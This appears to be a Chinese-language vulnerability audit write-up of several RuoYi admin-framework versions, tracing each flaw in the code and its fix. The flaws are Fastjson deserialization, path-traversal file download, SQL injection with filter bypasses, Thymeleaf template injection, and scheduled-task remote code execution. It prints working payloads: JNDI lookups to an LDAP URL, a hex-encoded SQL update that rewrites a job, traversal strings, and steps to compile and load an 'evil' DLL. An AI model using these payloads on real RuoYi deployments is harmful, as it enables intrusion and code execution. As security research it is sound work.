
<=4.2.0-Fastjson
这个搞了半天,最终还是没发现能够直接利用的方法,都需要手动开启autotype才行,网上好多文章都没提,挺坑的。另外,甚至连dns探测都用不了,因为键值对是通过hashmap.put的,顺序会乱。
这里的fastjson版本为1.2.60
漏洞发现
直接ctrl+shift+f,搜索parseObject,搜索结果比较少,能一个个看:
这里经过排查,com.ruoyi.generator.service.impl.GenTableServiceImpl#validateEdit里的是最好利用的。首先,上一个调用它的直接就是一个路由,意味着调试路径短。其次,路由传入的直接就是genTable,而genTable就是最后json字符串的来源,即我们可以直接控制json字符。
下面看一下两个部分的代码:
editSave中的genTableService是确定的,因为这个接口只有一个实现类且通过Autowired注解注入。
看下面图片的代码,能发现,我们需要进入if才能触发parseObject。怎么进入呢,这里不妨先发几个包测试一下。路由是/tool/gen/edit,根据含义比较容易找到:
对编辑后的结果保存,抓包:
能够找到和进入if相关的字段,我们改成tree就可以了。下面那三个参数就决定了json数据,待会儿看。
当然ruoyi前端也可以直接改:
改完会字段信息那儿再提交就行。
提交数据包,跟进调试:
这三个参数不就是上面数据包的最后一行吗,所以漏洞点就在这里。
漏洞利用
复现的过程中产生了几个问题:
- autotype不开有什么影响
- @type不在最前面有关系吗
- json里键值对的顺序怎么决定
下面会一一解释
1、dns探测
这里用java.net.Inet4Address,java.net.URL在1.2.43被ban了。
但是这里有个问题:
处理成json后,val会在前面,这样就打不通了。
那为什么会是这样的顺序?我们看一下这个json怎么来的:
是通过getParams来的。
Params怎么赋值:
params是个普通的HashMap,在我们发起请求时会自动通过hashMap.put赋值,这里面的顺序就是根据hash值排序了,所以我们没法直接控制。LinkedHashMap的话,顺序就可以控制了。
解决完json顺序的问题,再看看为什么val在前就不行。
当val在前时,val先会被当成普通数据处理,然后再处理@type,但是这样@type就没有参数了,所以会调用newInstance新建实例,可是Inet4Address没有public的无参构造,所以会报错,在这里抛出:
这里强烈建议跟一遍调试,把json字符串到底是怎么处理的过一遍,在这里断点:
把lexer的ch添加到监视,lexer是一个字符扫描器,负责识别json,ch是目前识别的字符:
网上查了好久,不如自己跟一遍调试快,有不懂的代码或逻辑问ai就行。
综上,由于我们无法决定键值对顺序,而且val在前也不行,所以没法打dns。
另外,值得一提的是,Inet4Address在不开启autotype的情况下也是能打的,可以走这里进行类加载:
这个在后面的版本好像修复了,是1.2.68吗,不能确定。
2、jndi
这里有shiro,可以用shiro里的一个类打jndi
{"@type": "org.apache.shiro.jndi.JndiObjectFactory", "resourceName": "ldap://127.0.0.1:50389/8e9b69"}
但是由于默认不开启autotype,是打不通的。
autotype一关,@type就基本没用了(上面那种Inet4的例外)。
这个类在1.2.68才ban,所以这里只是单纯没法加载才抛出:
3、其他
由于只能控制键值对内容,故只能使用单层的payload,大括号套大括号是用不了的。
修复
更新fastjson
小结
这个几乎花了一天,对fastjson还是不熟悉。这个漏洞其实限制很多,目前还不知道怎么利用。
参考
主要是fastjson相关的
https://github.com/LeadroyaL/fastjson-blacklist
https://github.com/lemono0/FastJsonParty
<=4.5.0-任意文件下载
这个比较简单:
/common/download/resource?resource=/profile/../../flag.txt
为什么要加/profile,自己调试一下就懂了。
之后多注意writeBytes方法,可能会有文件下载的相关漏洞。
修复
加了一个方法:
对目录穿越和文件后缀都做了限制。
<=4.7.8-定时任务&任意文件下载
漏洞发现
前面为了防止目录穿越,作者增加了一个方法来过滤../,这样我们就没办法下载规定目录外的文件。然而,在我们刚开始使用/common/download/resource路由时,很可能直接这样写参数?resource=../../flag.txt,然后发现并没有成功下载。调试时一看,发现我们的目录根本没被拼接,只有配置文件里Profile的路径。
那么,如果我们能修改Profile的路径,是不是就能直接指定文件位置,从而绕过过滤了呢?
首先我们看一下Profile是怎么从配置文件到类里的。
我们可以找到一个RouYiConfig类,这个类通过注解与配置文件关联,并且有Component注解,因此它是一个bean,同时我们的profile也在里面:
并且,这里还提供了一个方法供你修改profile:
所以,现在的目标就是调用setProfile来修改文件下载位置。
漏洞利用
在<=4.7.6时,利用会简单一点
要怎么实现呢,靠定时任务。很多管理后台都会提供定时任务的功能,但是往往欠缺防护,会导致执行一些恶意任务。
看一下RuoYI的定时任务要怎么执行:
这里的cron表达式代表每5分钟执行一次,cron表达式可以去网上自己看一下。
关键就在这里的调用目标字符串。我们先尝试直接用全限定名加方法的形式调用,发现会报错,说有违规字符串。调试一下发现,不允许出现com.ruoyi.common.config。看来作者是考虑到这点的:
但是,我们通过bean方式调用就可以:ruoYIConfig.setProfile(“D:/test.txt”)
在最后一个白名单判断if中,只要bean是在com.ruoyi包中就都可以:
因此我们的ruoYIConfig.setProfile(“D:/test.txt”)也可以。
设定好后,在任务状态处打开任务,然后再去/common/download/resource?resource=any.txt下请求,就能下载我们在profile中设置的文件了。
在<=4.7.8时,我们不能直接创建修改Config的定时任务了,但是可以通过sql注入来修改已经创建的合法任务,利用过程差不多,就是加了一个sql注入的过程
修复
加载bean的时候,使用黑白名单。刚刚是只用了白名单com.ruoyi,现在把全限定名调用里的黑名单也加上了:
<=4.6.1-SQL注入
漏洞发现
ctrl+shift+f 搜索字符 ${ :
发现Mapper.xml中存在使用$ 来注入参数,可能存在拼接问题。
挑选一个审计:
解释一下,${params.dataScope}指的是,传入的参数中有一个字段名为params,这个字段可能是HashMap这种键值对,所以可以通过params.dataScope选择具体键值对。
往前找对应的mapper接口:
然后找对应的实现:
最终找到路由处的用法:
这里对应的父路由是/system/dept:
/list对应的功能,应该就是列出列表,尝试查询:
这样就找到漏洞点了。
漏洞利用
可以使用的字段有com.ruoyi.common.core.domain.entity.SysDept和它的父类com.ruoyi.common.core.domain.BaseEntity
而params就在父类中,是一个hashmap,所以可以这样传参:
能实现报错注入。
其他的注入点也有,这里列举一些,寻找方式同上:
/system/role/list
/system/role/export
/system/user/list
/system/user/export
/system/role/authUser/allocatedList
/system/role/authUser/unallocatedList
漏洞修复
commit编号e1cab589f2acf4e835ad5ab310bdbe71f2dd646d,通过织入点的方式,对所有有datascope注解的方法都进行了过滤,因此params相关的注入被修复。
4.7.1-4.7.8-SQL注入+绕过
漏洞利用
4.7.1版本开始,增加了一个创建表的功能,可以从这里注入。
路由在/tool/gen/createTable
这里运行执行一个create操作,并且会直接执行。
所以可以通过create fake_table as select extractvalue(1,database())的方法进行报错注入
在后面的版本,增加了过滤功能:
会对常见注入关键字进行过滤。不过StringUtils.indexOfIgnoreCase的匹配原理是,先将value按空格split,再去和keyword一一匹配。所以可以通过select/**/extractvalue的方式绕过,因为这样select和后面的就成为一个整体了。
修复
4.7.6版本开始,不会回显具体报错:
但是到4.7.9版本,还是可以使用时间注入。
4.8.0版本,黑名单更加全面:
<=4.7.8-定时任务SQL&RCE
漏洞发现
前面学习了若依的SQL注入,但除了从Controller注入,还有一种另外的方式,那就是直接调用Service层的方法。因为所有过滤操作都是在Controller层实现的,所以一旦能直接操纵Service层的方法,那所有过滤操作就形同虚设了,只要Mapper.xml中还是使用${},那我们就可以尝试注入。
正好,若依里给我们提供了定时任务的功能,而且正好没有将sql操作相关的Service类列入黑名单,所以可以直接操作Service方法进行注入,如下图:
这个方法在上面sql注入绕过中也出现过。
定时任务在设定时,对一些关键词是有过滤的,比如不允许出现ldap,ldaps,rmi等:
但是有了sql注入,我们就可以先设置合法任务,再修改成非法任务。
漏洞利用
1、任意创建一个定时任务
2、创建第二个任务,用于修改第一个任务,由于创建任务调用的目标字符串不允许出现ldap,所以在sql注入时要16进制编码绕过:
1 | genTableServiceImpl.createTable("update sys_job set invoke_target=0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a35303338392f6337386433332729 where job_id=100") |
javax.naming.InitialContext.lookup(‘ldap://127.0.0.1:50389/c78d33’)
另外,在创建任务时,还有一种绕过方法,就是在所有协议中间加一个单引号。ld’ap,ht’tp,这样就行。
3、运行一下创建的sql注入任务:
然后就能发现创建的第一个任务的内容发生变化,变成了ldap任务,执行后即可触发jndi。
修复
这里讲一下定时任务修复的发展史
1、4.7.0之前的版本,只对rmi协议进行了黑名单。下面是4.6.2
2、4.7.0对http,https,ldap,ldaps进行了黑名单:
3、4.7.1对一些恶意类进行了黑名单:
4、4.7.6开始?不确定,增加了黑白名单,先黑名单,再白名单,白名单为com.ruoyi
5、4.7.9开始,进一步完善黑名单和白名单:
这样sql+RCE的方法就用不了了
但是注意,这里的白名单匹配是包含即可,而不是严格要求匹配,这也为4.8.0的绕过做下铺垫。
<=4.8.1-定时任务绕过&文件上传&JNI
漏洞发现
这里的利用思路还是很巧妙的,先解释一些总体思路。
计划任务创建时,使用了黑名单+白名单。我们无法使用黑名单里的类,但是可以想办法让白名单的范围扩大。白名单原本是com.ruoyi.quartz.task,作者的本意是只能调用这个包里的类。但是,白名单匹配时,使用的是contains,也就是说,只要定时任务里有白名单的字符串就行了。这就给了我们绕过的机会。
Java中有一种JNI机制,可以加载外部的链接库,并加载里面的构造函数。
我们可以上传一个JNI文件,JNI文件名包含com.ruoyi.quartz.task,再通过定时任务更改文件后缀,再通过定时任务调用类去加载JNI文件。由于JNI文件名包含了白名单内容,所以可以绕过白名单,实现RCE。上传后又可以通过定时任务更改文件后缀,这样就可以加载JNI文件了。
现在来看细节。
在白名单过滤时,当包名超过一层时,就会进入全限定名的if,而不是bean的if:
这样只需要满足定时任务中包含白名单字符串即可。
定时任务的触发逻辑在com.ruoyi.quartz.util.JobInvokeUtil,里面的getMethodParams用于获取执行参数,具体如下:
能够看出,这里能够接受的参数只有:String,boolean,long,double,以及能够被转换成Integer的类。所以在参数方法,我们的选择是是否有限的。
另外,invokeMethod时,我们只能调用public方法:
综上,我们的条件是:
1、调用的类及参数不能包含黑名单的字符串
2、调用的类及参数一定要包含白名单的字符串
3、调用的参数类型有限制
4、调用的方法只能是public方法
另外,我们可以进行文件上传:
会返回上传的位置:
漏洞利用
1、编译c文件,windows编译成dll,mac编译成dylib,linux编译成.so
1 |
|
gcc -shared -o evil.dll evil.c 需要MinGW
gcc -fPIC -shared -o evil.so evil.c
gcc -dynamiclib -o evil.dylib evil.c
将编译后的文件重命名为:com.ruoyi.quartz.task.dll.txt
2、利用python脚本发包
1 | import requests |
代理部分可以去掉
记录文件路径:
这里的路径不完全正确,如果没有重新设置过文件上传路径,windows系统应该在”D:\ruoyi\uploadPath\upload”,后面再拼接日期等。
如果修改过配置文件中的上传路径,就得猜测路径了。
猜测的话可以搭配ch.qos.logback.core.FileAppender.openFile
使用 因为会默认创建一个空文件 猜测前缀即可
ch.qos.logback.core.FileAppender.openFile
(‘前缀+/uploadPath/download/com.ruoyi.quartz.task.log’) 之后访问/profile/前缀+/uploadPath/download/com.ruoyi.quartz.task.log 来判断
3、设置定时任务并执行修改文件后缀为dll
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying(“../../../../../../../../../../../ruoyi/uploadPath/upload/2025/08/01/com.ruoyi.quartz.task.dll_20250801153101A004.txt”,”../../../../../../../../../../../ruoyi/uploadPath/upload/2025/08/01/com.ruoyi.quartz.task.dll_20250801153101A004.dll”)
4、定时任务加载dll文件
com.sun.glass.utils.NativeLibLoader.loadLibrary(“../../../../../../../../../../../ruoyi/uploadPath/upload/2025/08/01/com.ruoyi.quartz.task.dll_20250801153101A004”)
下面是一键python脚本,只适用于windows,且没有更改过默认文件上传路径的情况,
1 | import json |
修复
最新的4.8.1版本还未修复。
我感觉把那个JNI加载的类加入定时任务黑名单就好了。同时把白名单改成com.xxx开头。
参考
<=4.7.1-SSTI
漏洞发现
在进行模板渲染时,对fragment进行了直接拼接,导致可以执行表达式注入:
漏洞利用
${T()}不行,T必须与()之间有空格,这是为了绕过thymeleaf组件自带的防护。cacheName不能为空。
直接发包即可:
dns也能成功:
一共四个路由存在漏洞:
/monitor/cache/getKeys
/monitor/cache/getNames
/monitor/cache/getValue
/demo/form/localrefresh/task
低版本前三个路由可能不存在,第四个路由在4.5.0版本存在,4.2.0版本不存在,中间版本未测试。
存在这个,则前三个路由存在:
只要存在:
则第四个路由存在。
漏洞修复
thymeleaf 3.0.12版本是存在漏洞的,所以在4.7.2升级成了3.0.15版本,修复了漏洞。
shiro相关
这个先不讲了,之后复习shiro的时候一起归类吧。
总结
SQL注入
1、4.7.8之前/tool/gen/createTable都可以用来update,可以结合定时任务使用。定时任务中的黑名单可以在注入时使用16进制绕过。
2、其他4.7.1–4.7.5和<=4.6.1的可以用来拖库
定时任务
1、可以通过jndi或者jni实现RCE,往往配合SQL注入
2、可以修改配置文件,配合任意文件下载
任意文件下载
1、<=4.7.8都能用,<=4.5.0可以直接用,高版本要配合定时任务
审计原则
1、sql注入,mybatis的可以搜${
2、文件上传,解压缩这种地方多注意,看看目录是否过滤或可控
3、定时任务
4、注意多种漏洞结合